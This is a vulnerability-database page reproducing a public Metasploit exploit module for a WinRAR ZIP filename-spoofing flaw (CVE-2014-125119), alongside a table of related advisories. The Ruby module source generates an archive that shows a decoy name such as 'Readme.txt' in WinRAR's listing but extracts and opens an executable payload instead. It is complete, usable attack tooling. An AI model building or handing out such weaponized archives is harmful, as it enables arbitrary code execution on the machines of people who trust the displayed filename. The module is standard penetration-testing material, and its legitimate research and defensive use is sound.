Lucene search
+L

WinRAR Filename Spoofing

🗓️ 28 Sep 2009 00:00:00Reported by chr1x, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

WinRAR Filename Spoofing vulnerability in ZIP file

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2014-125119
29 May 201815:50
–circl
cnnvd
CNNVD
WinRAR 安全漏洞
25 Jul 202500:00
–cnnvd
cve
CVE
CVE-2014-125119
25 Jul 202515:59
–cve
cvelist
Cvelist
CVE-2014-125119 WinRAR < 5.00 Filename Spoofing RCE
25 Jul 202515:59
–cvelist
euvd
EUVD
EUVD-2014-9805
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2014-125119
25 Jul 202516:15
–nvd
ptsecurity
Positive Technologies
PT-2025-31210 · Undefined · Undefined
25 Jul 202500:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2014-125119: Improper Input Validation
25 Jul 202500:00
–rapid7
redhatcve
RedhatCVE
CVE-2014-125119
27 Jul 202516:14
–redhatcve
vulncheck_kev
VulnCheck KEV
VulnCheck KEV: CVE-2014-125119
25 Jul 202500:00
–vulncheck_kev
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WinRAR Filename Spoofing',
        'Description' => %q{
          This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
          when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
          the central directory, but the file names used to extract and open contents come from the
          Local File Header. This inconsistency allows to spoof file names when opening ZIP files
          with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
          March 2014
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'chr1x', # Vulnerability discoverer according to OSVDB
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2014-125119' ],
          [ 'OSVDB', '62610' ],
          [ 'BID', '66383' ],
          [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
          [ 'URL', 'http://an7isec.blogspot.co.il/']
        ],
        'Platform' => [ 'win' ],
        'Payload' => {
          'DisableNops' => true,
          'Space' => 4096
        },
        'Targets' => [
          [ 'Windows Universal', {} ]
        ],
        'DisclosureDate' => '2009-09-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
      ]
    )
  end

  def exploit
    exe_filename = rand_text_alpha(rand(6) + 1)
    exe_filename << ".exe"

    zip = Rex::Zip::Archive.new
    zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
    pack = zip.pack

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(pack)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Sep 2009 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 48.4
EPSS0.01713
SSVC
42